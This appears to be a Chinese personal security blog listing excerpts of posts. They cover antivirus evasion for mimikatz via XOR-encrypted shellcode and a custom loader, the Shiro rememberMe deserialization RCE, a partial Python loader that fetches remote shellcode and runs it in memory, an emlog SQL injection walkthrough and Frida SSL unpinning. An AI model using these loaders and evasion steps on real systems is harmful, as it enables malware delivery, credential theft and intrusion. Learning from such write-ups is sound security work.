小屁孩的安全博客

免杀思路： 将EXE转为shellcode并保存为bin文件，通过XOR对payload进行加密，再编写自定义Loader在运行时读取、解密并加载执行。 目前存在的问题： 当前主要依赖简单加密（如XOR）和典型加载方式，容易被EDR通过行为特征（如内存执行链）识别。 后续优化方向： 需要从单纯静态规避转向行为对抗，包括优化Loader执行链、增强加密混淆、引入环境检测和执行伪装等。 具体实现： 先将mimikatz的exe文件进行转换为bin文件 加载器： 加载bin文件： 定义加载文件后在主函数里面去调用 123unsigned char* payload;int payload_len;payload=inputFile("mini.bin", payload_len); 结果： 加载器没有被杀，shellcode被杀了 进行最简单的xor加密 成功绕过火绒 但是被defder拦截LSASS 访问了，后续可以尝试绕过，360也可以加证书和减熵等方法

shiro框架是apache的一个Java安全框架，提供身份验证、授权、密码和会话管理功能。 1.漏洞原理 当用户登录时勾选 记住我√ 功能，shiro框架会把用户登录信息进行序列化然后进行AES加密再次进行base64编码然后存入到cookie的rememberMe中，因为大多数使用的是AES默认密钥所以导致攻击者可以构造恶意的序列化并且加密后放入rememberme cookie中，服务器在解析cookie时就会进行AES解密最后导致RCE 2.告警研判视角 1.勾选remember选项观察返回包，是否有set-cookie字段值，是否为remember=deleteme 2.使用潮汐插件 注：以上仅能判断出为shiro框架 使用工具进行爆破密钥以及利用链 后续也可以进行反弹shell

加载器 64位 远程加载shellcode 1import ctypes,urllib.request,codecs,base64proxy_handler = urllib.request.ProxyHandler({})opener = urllib.request.build_opener(proxy_handler)urllib.request.install_opener(opener)shellcode = urllib.request.urlopen('http://127.0.0.1:8080/test.txt').read().strip()shellcode = base64.b64decode(shellcode)shellcode =codecs.escape_decode(shellcode)[0]shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restyp...

影响版本： emlog 2.1.9 漏洞描述： emlog 2.1.9版本存在sql注入漏洞，漏洞源于/admin/user.php缺少对外部输入sql语句的验证，导致攻击者可以利用该漏洞执行非法sql命令窃取数据库敏感信息 工具：小皮面板，phpstorm 打开user.php文件通过经验判断看到了input跟踪一下看看 发现根本没有，继续往下看，发现getusers里面有关于sql的查询语句 使用sql监测工具查到这个变量是不可控的 但是发现有一条语句的username有点莫名其妙不知道是哪里传来的 想到这个username应该是我注册管理员的名字，然后进入后台发现确实是这样的 os：那我把payload写到用户名上不就可以了嘛 直接把用单引号闭合然后后面注释掉 但是添加里面没有用户名，而且我不可能注册管理员的时候去加payload呀只能尝试其他的 通过网上搜素发现emlog是可以上传sql备份文件的，我导出后打开备份文件看到了刚刚注册时插入的语句 诶呀！！！这不妥了嘛，在这插入payload不就行了嘛 把sql导入数据中 成了！！！

一、前期准备 python环境、frida、frida-tools以及honk-js文件注意：frida不但要pip安装还需要去github里面去下载对应版本 python 3.12.4 frida 3.15.1 需要下载与之对应的github里面版本 安装frida和frida-tools pip install frida pipinstall frida-tools frida安装地址：https://github.com/frida/frida/releases/ 这里下载的是frida-server-17.5.1-android-x86_64.xz注：如果不知道自己下载x86_64还是x86模拟器可以下载一个终端模拟器把下载好的解压到模拟器的adb.exe的同级目录下 getprop ro.product.cpu.abi honk-js文件 地址：https://github.com/apkunpacker/FridaScripts 在模拟器文件夹搜索adb.exe把js文件放入此同级文件夹中这里将使用SSLUnpinning.js 其他用法看手册 二、实验 ...